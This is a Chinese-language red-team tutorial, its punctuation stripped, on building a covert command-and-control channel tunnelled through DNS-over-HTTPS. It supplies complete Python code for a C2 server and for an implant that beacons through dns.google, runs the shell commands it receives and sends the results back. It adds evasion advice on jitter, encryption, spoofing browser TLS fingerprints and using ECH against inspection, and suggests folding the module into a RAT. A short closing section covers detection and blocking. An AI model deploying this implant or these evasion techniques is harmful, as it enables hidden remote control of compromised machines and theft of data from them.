前言技术背景在现代网络攻防对抗中C2Command and Control通信是攻击链路的生命线。传统的基于HTTP/HTTPS或原始TCP的C2通信模式其流量特征相对明显容易被基于网络流量分析的NIDS网络入侵检测系统、EDR终端检测与响应及威胁情报所识别和阻断。因此将C2流量伪装成正常、高信誉的业务流量是红队突破纵深防御体系的关键。DNS over HTTPS (DoH)作为一种将DNS查询封装在HTTPS流量中的新兴标准因其流量模式与正常的Web访问高度一致且通常发往Google、Cloudflare等高信誉服务商为C2隧道的隐蔽性提供了天然的屏障。学习价值掌握DoH隧道的自研原理与实现方法您将能够解决C2通信被精准识别的问题将C2指令与回传数据伪装成良性的DNS-over-HTTPS流量大幅降低被检测和封堵的风险。绕过基于域名的封锁策略当目标环境仅允许访问少数高信誉域名如dns.google时DoH隧道可以作为一种有效的“出网”手段。提升工具的对抗能力自研工具意味着您可以完全掌控通信协议的每一个细节从而实现更灵活的特征修改、加密和反检测策略避免被通用工具的指纹所捕获。使用场景DoH隧道技术在红队实战中主要应用于以下场景高度受限的网络环境当目标网络存在严格的出口白名单策略仅允许DNS和到少数几个权威站点的HTTPS流量时。长期潜伏与持久化在需要长期控制目标主机且不希望C2通信产生告警的场景下DoH的隐蔽性使其成为理想选择。规避流量审计在部署了高级流量分析和威胁狩猎平台的成熟防御体系中利用DoH可以有效融入背景流量增加蓝队的分析成本和难度。一、DNS over HTTPS (DoH) 隧道是什么精确定义DNS over HTTPS (DoH) 隧道是一种将任意数据如C2指令封装在标准DNS查询报文中再通过HTTPS协议发送给DoH解析器的隐蔽通信技术。攻击者利用DoH服务作为数据中转站实现Implant植入体与C2服务器之间的命令与控制。一个通俗类比想象一下您是一名被困在戒备森严大楼里的特工Implant大楼只允许您通过一个特定的、受信任的邮局DoH服务商如Google向外界寄送标准格式的明信片DNS查询。您和您的指挥官C2服务器提前约定好一种密写术将真正的指令任意数据用特殊药水写在明信片的空白处。大楼的安保人员防火墙/NIDS只会检查明信片的格式和邮寄地址是否合规而不会注意到上面隐藏的信息。指挥官通过这个邮局接收明信片解读密文再用同样的方式回信。这就是DoH隧道的本质——利用合法的渠道传递隐藏的信息。实际用途在红队行动中DoH隧道的核心用途是建立一条难以检测的C2通信链路。Implant将心跳包、窃取的数据或命令执行结果编码后作为DNS查询的一部分通常是TXT记录的查询域名通过HTTPS发送给公共DoH服务器。C2服务器则伪装成一个合法的DNS服务器接收来自DoH服务器转发的查询请求解密并执行指令然后将结果编码在DNS响应中返回。技术本质说明DoH的技术本质是应用层协议封装。它将原本通过UDP/53端口传输的DNS协议完整地搬迁到了TCP/443端口上并套上了TLS加密。其标准化文档为RFC 8484。对于网络监控设备而言看到的是一个到dns.google或cloudflare-dns.com的HTTPS连接与数以亿计的正常浏览器或操作系统发起的DoH请求在外观上完全相同。我们的隧道技术正是利用了这一点将C2数据“搭便车”混入这片巨大的流量海洋中。其核心机制可以用下面的流程图来概括C2控制端C2伪装的权威DNS服务器公共DoH服务器 (如 dns.google)Implant (受控端)C2控制端C2伪装的权威DNS服务器公共DoH服务器 (如 dns.google)Implant (受控端)阶段一Implant 发送数据到 C2阶段二C2 回传指令给 Implant1. 构造DNS查询 (将数据编码到子域名中)HTTPS POST /dns-queryHost: dns.google2. DoH服务器进行标准DNS递归查询查询 TXT 记录[encoded_data].c2.example.com3. C2的DNS服务收到查询将域名转发给控制端4. 解码子域名获取Implant数据5. C2将指令编码配置为TXT记录的响应值6. DNS服务器将包含指令的TXT记录返回7. DoH服务器通过HTTPS响应返回DNS结果8. 解析HTTPS响应解码TXT记录获取并执行指令这张图清晰地展示了数据如何通过合法的DoH服务作为跳板在Implant和C2之间完成一次完整的双向通信。二、环境准备要复现一个基础的DoH隧道您需要准备以下环境一台公网VPS作为C2服务器和权威DNS服务器。一个您拥有的域名例如your-c2-domain.com。环境配置步骤域名解析设置登录您的域名注册商控制台。创建一个A记录将您的C2服务器域名如c2.your-c2-domain.com指向您的VPS公网IP。创建两个NS记录将一个子域名如dns.your-c2-domain.com的解析权授权给上一步设置的C2服务器域名。ns1.dns.your-c2-domain.com-c2.your-c2-domain.comns2.dns.your-c2-domain.com-c2.your-c2-domain.comC2服务器软件与配置我们将使用Python来实现一个简易的DoH C2服务端它同时扮演了权威DNS服务器和C2控制台的角色。工具与版本Python 3.8dnslib 0.9.7下载与安装方式# 在您的公网VPS上执行pip3installdnslib核心配置您需要在后续的C2服务端脚本中将YOUR_DOMAIN变量修改为您自己的域名例如dns.your-c2-domain.com。运行环境命令在VPS上确保防火墙或安全组开放了UDP 53端口用于接收DoH服务器的DNS查询和您选择的C2管理端口例如TCP 8080。# 假设您的C2服务端脚本名为 doh_c2_server.py# 使用root权限运行以监听53端口sudopython3 doh_c2_server.py三、核心实战本节将通过一个完整的、可运行的示例演示如何使用Python自研一个基础的DoH隧道工具。1. C2服务端 (doh_c2_server.py)这段代码将在您的VPS上运行监听DNS查询解析其中隐藏的数据并能返回指令。# doh_c2_server.py# 仅限在获得明确授权的测试环境中使用此工具。# 未经授权的访问和操作是非法行为。importsocketserverimportthreadingfromdnslibimportDNSHeader,DNSQuestion,RR,A,TXT,QTYPEfromdnslib.serverimportDNSServer,BaseResolverimportbase64importtime# --- 参数配置 ---YOUR_DOMAINdns.your-c2-domain.com.# 您的权威域名注意末尾的点C2_COMMANDwhoami# 默认下发的指令classC2Resolver(BaseResolver): 一个自定义的DNS解析器用于处理C2逻辑。 defresolve(self,request,handler): 核心处理函数。 :param request: dnslib解析后的DNS请求对象 :param handler: 请求处理器 :return: DNS响应对象 replyrequest.reply()qrequest.get_q()# 确保查询是我们C2域名下的TXT记录ifq.qtypeQTYPE.TXTandq.qname.idna().endswith(YOUR_DOMAIN):subdomainstr(q.qname.idna()).replace(.YOUR_DOMAIN,)# --- 1. 数据接收与解码 ---try:# Base64解码如果失败则说明不是我们的流量decoded_database64.b64decode(subdomain.encode()).decode()print(f[] Received data from implant:{decoded_data})# --- 2. 指令下发 ---# 将指令编码为Base64准备在TXT记录中返回# 为了避免DNS缓存每次返回的指令都嵌入时间戳command_to_sendf{C2_COMMAND}|{int(time.time())}encoded_commandbase64.b64encode(command_to_send.encode()).decode()# 构造TXT响应reply.add_answer(RR(q.qname,QTYPE.TXT,rdataTXT(encoded_command)))print(f[] Sending command:{C2_COMMAND})exceptExceptionase:# 如果解码失败返回一个空记录避免异常print(f[-] Failed to decode subdomain:{subdomain}. Error:{e})reply.add_answer(RR(q.qname,QTYPE.TXT,rdataTXT(invalid_request)))else:# 对于非C2的查询可以返回一个NXDOMAIN或留空reply.header.rcode3# NXDOMAINreturnreplydefmain():主函数启动DNS服务器print(--- DoH C2 Server ---)print(f[*] Listening for DNS queries for domain:{YOUR_DOMAIN})print(f[*] Default command to send:{C2_COMMAND})print([!] Ensure UDP port 53 is open and NS records are set correctly.)# 错误处理检查是否能绑定53端口try:# 使用socketserver实现多线程处理避免请求阻塞serverDNSServer(C2Resolver(),port53,address0.0.0.0,tcpFalse)server.start_thread()# 保持主线程运行以便接收CtrlC退出whileTrue:time.sleep(1)exceptPermissionError:print([!] Error: Permission denied to bind to port 53. Try running with sudo.)exceptExceptionase:print(f[!] An unexpected error occurred:{e})finally:server.stop()print(\n[*] Server stopped.)if__name____main__:main()2. Implant客户端 (doh_implant.py)这段代码将在受控主机上运行通过Google的DoH服务发送数据并接收指令。# doh_implant.py# 仅限在获得明确授权的测试环境中使用此工具。# 未经授权的访问和操作是非法行为。importrequestsimportbase64importtimeimportsubprocessimportargparse# --- 参数配置 ---DOH_SERVER_URLhttps://dns.google/dns-queryC2_DOMAINdns.your-c2-domain.com# 与服务端配置的权威域名一致SLEEP_INTERVAL10# 心跳间隔秒defrun_command(command):执行指令并返回结果try:# 执行命令捕获标准输出和标准错误resultsubprocess.run(command,shellTrue,capture_outputTrue,textTrue,timeout30)outputresult.stdoutresult.stderrreturnoutputifoutputelseCommand executed with no output.exceptsubprocess.TimeoutExpired:returnError: Command timed out.exceptExceptionase:returnfError executing command:{str(e)}defsend_data_and_get_command(data): 通过DoH发送数据并获取指令。 :param data: 要发送给C2的数据字符串 :return: 从C2接收到的指令字符串或None try:# 1. 将数据编码为Base64并构造成子域名encoded_database64.b64encode(data.encode()).decode()query_namef{encoded_data}.{C2_DOMAIN}# 2. 构造DoH请求headers{accept:application/dns-json}params{name:query_name,type:TXT}# 3. 发送HTTPS请求# 添加错误处理和超时responserequests.get(DOH_SERVER_URL,paramsparams,headersheaders,timeout15)response.raise_for_status()# 如果HTTP状态码不是200则抛出异常dns_responseresponse.json()# 4. 解析响应解码指令ifAnswerindns_response:foranswerindns_response[Answer]:ifanswer[type]16:# 16 is the type code for TXT# 去掉TXT记录两边的引号encoded_commandanswer[data].strip()# 解码指令指令格式为 command|timestampdecoded_command_partsbase64.b64decode(encoded_command).decode().split(|)returndecoded_command_parts[0]# 只返回命令部分exceptrequests.exceptions.RequestExceptionase:print(f[-] Network error during DoH query:{e})except(KeyError,IndexError,base64.binascii.Error)ase:print(f[-] Failed to parse or decode C2 response:{e})exceptExceptionase:print(f[-] An unexpected error occurred:{e})returnNonedefmain(initial_data):主循环模拟Implant的心跳和任务执行print(--- DoH Implant ---)print(f[*] C2 Domain:{C2_DOMAIN})print(f[*] DoH Server:{DOH_SERVER_URL})print(f[*] Beacon interval:{SLEEP_INTERVAL}seconds)last_commandNonedata_to_sendinitial_datawhileTrue:print(f\n[*] Sending data: {data_to_send[:50]}...)commandsend_data_and_get_command(data_to_send)ifcommand:# 避免重复执行相同的指令因为DNS缓存可能导致收到旧指令ifcommand!last_command:print(f[] Received new command:{command})last_commandcommand resultrun_command(command)data_to_sendfResult of {command}:\n{result}else:print([*] Received same command as last time, ignoring.)data_to_sendNo new command, sending heartbeat.else:print([-] No command received from C2.)data_to_sendFailed to get command, sending heartbeat.time.sleep(SLEEP_INTERVAL)if__name____main__:parserargparse.ArgumentParser(descriptionDoH C2 Implant. WARNING: For authorized testing only.)parser.add_argument(--c2-domain,defaultC2_DOMAIN,helpfThe C2s authoritative domain. Default:{C2_DOMAIN})parser.add_argument(--doh-server,defaultDOH_SERVER_URL,helpfThe DoH server URL. Default:{DOH_SERVER_URL})parser.add_argument(--interval,typeint,defaultSLEEP_INTERVAL,helpfBeacon interval in seconds. Default:{SLEEP_INTERVAL})argsparser.parse_args()# 更新全局变量C2_DOMAINargs.c2_domain DOH_SERVER_URLargs.doh_server SLEEP_INTERVALargs.intervaltry:main(initial_dataImplant online!)exceptKeyboardInterrupt:print(\n[*] Implant shutdown.)核心实战步骤启动C2服务端将doh_c2_server.py上传到您的公网VPS。修改脚本中的YOUR_DOMAIN为您自己的域名例如dns.your-c2-domain.com.。执行sudo python3 doh_c2_server.py。您将看到输出[*] Listening for DNS queries for domain: dns.your-c2-domain.com.运行Implant客户端在您的本地机器或任何可以访问互联网的机器模拟受控端上。修改doh_implant.py中的C2_DOMAIN为相同的域名。执行python3 doh_implant.py。观察结果Implant端输出--- DoH Implant --- [*] C2 Domain: dns.your-c2-domain.com [*] DoH Server: https://dns.google/dns-query [*] Beacon interval: 10 seconds [*] Sending data: Implant online!... [] Received new command: whoami [*] Sending data: Result of whoami: your_username ... [*] Received same command as last time, ignoring. ...C2服务端输出--- DoH C2 Server --- [*] Listening for DNS queries for domain: dns.your-c2-domain.com. [*] Default command to send: whoami [!] Ensure UDP port 53 is open and NS records are set correctly. [] Received data from implant: Implant online! [] Sending command: whoami [] Received data from implant: Result of whoami: your_username [] Sending command: whoami至此一个完整的、通过Google DoH服务进行中转的C2通信链路已经成功建立。Implant发送了上线信息C2下发了whoami指令Implant执行后将结果回传。DoH隧道实战的核心流程已成功复现。四、进阶技巧常见错误NS记录配置错误最常见的问题。请务必确保您的NS记录正确指向了C2服务器的域名并且该域名有对应的A记录。可以使用dig NS dns.your-c2-domain.com 8.8.8.8来验证。防火墙/安全组未放行UDP 53端口C2服务器必须能接收来自公网的DNS查询。Base64编码问题URL中不允许出现/等特殊字符。标准的Base64编码会包含它们。应使用Base64 URL Safe编码 (base64.urlsafe_b64encode)。性能 / 成功率优化数据分片与重组DNS域名长度有限制单个标签63字节总长255字节。对于大数据块如文件、截图必须在Implant端进行分片并在每个分片上加上序列号和会话ID然后在C2端进行重组。选择合适的DoH服务商并非所有DoH服务商的缓存策略和响应速度都一样。可以内置多个DoH服务器地址在请求失败时进行轮换增加通信的健壮性。动态指令更新示例中的指令是硬编码的。实战中C2服务端应该提供一个交互式接口如一个简单的Web Shell或Socket连接允许操作员动态输入指令并将其存储起来等待Implant下一次心跳时获取。实战经验总结心跳抖动Jitter固定的SLEEP_INTERVAL心跳间隔是一个非常强的行为特征。应在基础间隔上增加一个随机的抖动值如sleep(interval random.uniform(0, interval * 0.5))使流量模式更难被预测。“工作时间”伪装可以让Implant只在目标环境的正常工作时间如周一至周五9点到17点进行通信模拟正常用户的行为模式。数据加密虽然DoH本身是HTTPS加密的但我们的C2数据在DNS报文中是明文Base64编码不是加密。在将数据进行Base64编码之前应先使用对称加密算法如AES-GCM进行加密密钥通过非对称加密如RSA在首次上线时交换。这可以防止蓝队在捕获到DNS查询日志后直接解码内容。对抗 / 绕过思路绕过基于JA3/JARM的指纹识别Pythonrequests库的默认TLS握手包具有固定的JA3指纹。蓝队可能通过此指纹识别出非浏览器来源的HTTPS流量。可以使用更底层的库如httpx配合http2或修改Go语言的crypto/tls库来模拟常见浏览器的JA3指纹从而更好地伪装成Chrome或Firefox。对抗DoH解密与深度包检测DPI一些高级网关设备可能会尝试解密TLS流量通过中间人攻击并检查内部的DNS查询。对抗方法是使用DoH with ECH (Encrypted Client Hello)它可以加密TLS握手的初始部分使中间人无法获知要访问的真实域名从而阻止解密。自定义DoH服务端与其使用公共DoH服务不如在自己的高信誉服务器如CDN、云服务商的域名上部署一个自定义的DoH服务端。这样可以完全控制通信协议例如将数据隐藏在自定义的HTTP Header中而不是DNS报文里从而彻底摆脱DNS协议的限制。五、注意事项与防御错误写法 vs 正确写法错误直接将明文或简单编码的数据放在子域名中。my_secret_data.dns.c2.com正确先对数据进行加密再进行Base64 URL Safe 编码并实现数据分片。session1-part3-[encrypted_and_encoded_chunk].dns.c2.com风险提示使用公共DoH服务意味着您的C2元数据查询的域名、频率会被Google等公司记录这可能成为调查取证的线索。过度频繁的DoH查询如秒级心跳仍然是一种异常行为可能会触发基于频率的检测规则。开发侧安全代码范式防御方视角限制DNS解析器在企业内部的服务器或终端上通过策略强制指定只能使用企业内部的DNS服务器并阻止直接向公共DNS包括DoH服务器的连接。DoH流量解密与检查在网络出口部署具备TLS解密能力的安全网关解密发往已知公共DoH服务器的流量并对其中的DNS查询进行分析。寻找异常的TXT查询、超长子域名、高熵高随机性的域名等特征。运维侧加固方案防火墙策略在出口防火墙上禁止所有到已知公共DoH服务器IP地址列表的TCP/443连接除非业务明确需要。维护一个动态更新的DoH服务器IP列表。终端策略通过组策略Windows或配置文件macOS/Linux禁用操作系统级别的DoH功能。例如在Windows中设置 “Enable-Dns-Over-Https” 为 “No”。日志检测线索DNS日志在内部DNS服务器或安全设备上监控对非常见、高熵子域名的TXT记录查询。特别是那些查询频率稳定、模式规律的请求。网络流量日志监控到已知DoH服务器dns.google,cloudflare-dns.com,dns.quad9.net等的连接。如果一个终端从不访问网页却持续与DoH服务器通信这是一个强烈的可疑信号。终端进程日志监控非浏览器、非系统核心进程发起的到DoH服务器的HTTPS连接。例如一个看似无害的powershell.exe或一个未知进程持续与dns.google通信。总结核心知识DoH隧道利用了DNS over HTTPS协议将C2流量伪装成发往高信誉DoH服务商的加密DNS查询以规避网络检测。使用场景主要用于突破严格的网络出口限制、实现长期隐蔽驻留以及对抗高级流量分析平台。防御要点防御的核心在于流量可见性和端点控制。通过TLS解密、监控异常DNS查询模式、禁用或限制终端的DoH功能可以有效检测和阻止此类隧道。知识体系连接DoH隧道是C2隐蔽通信技术树下的一个分支与域前置Domain Fronting、CDN中继、第三方服务滥用如Telegram、GitHub等技术属于同一范畴都是为了解决C2信道的隐蔽性问题。进阶方向下一步的自研方向包括实现更复杂的加密与密钥交换机制、模拟真实浏览器的TLS指纹JA3、以及将此通信模块集成到一个功能更完整的RAT远程访问木马框架中。自检清单是否说明技术价值是否给出学习目标是否有 Mermaid 核心机制图是否有可运行代码是否有防御示例是否连接知识体系是否避免模糊术语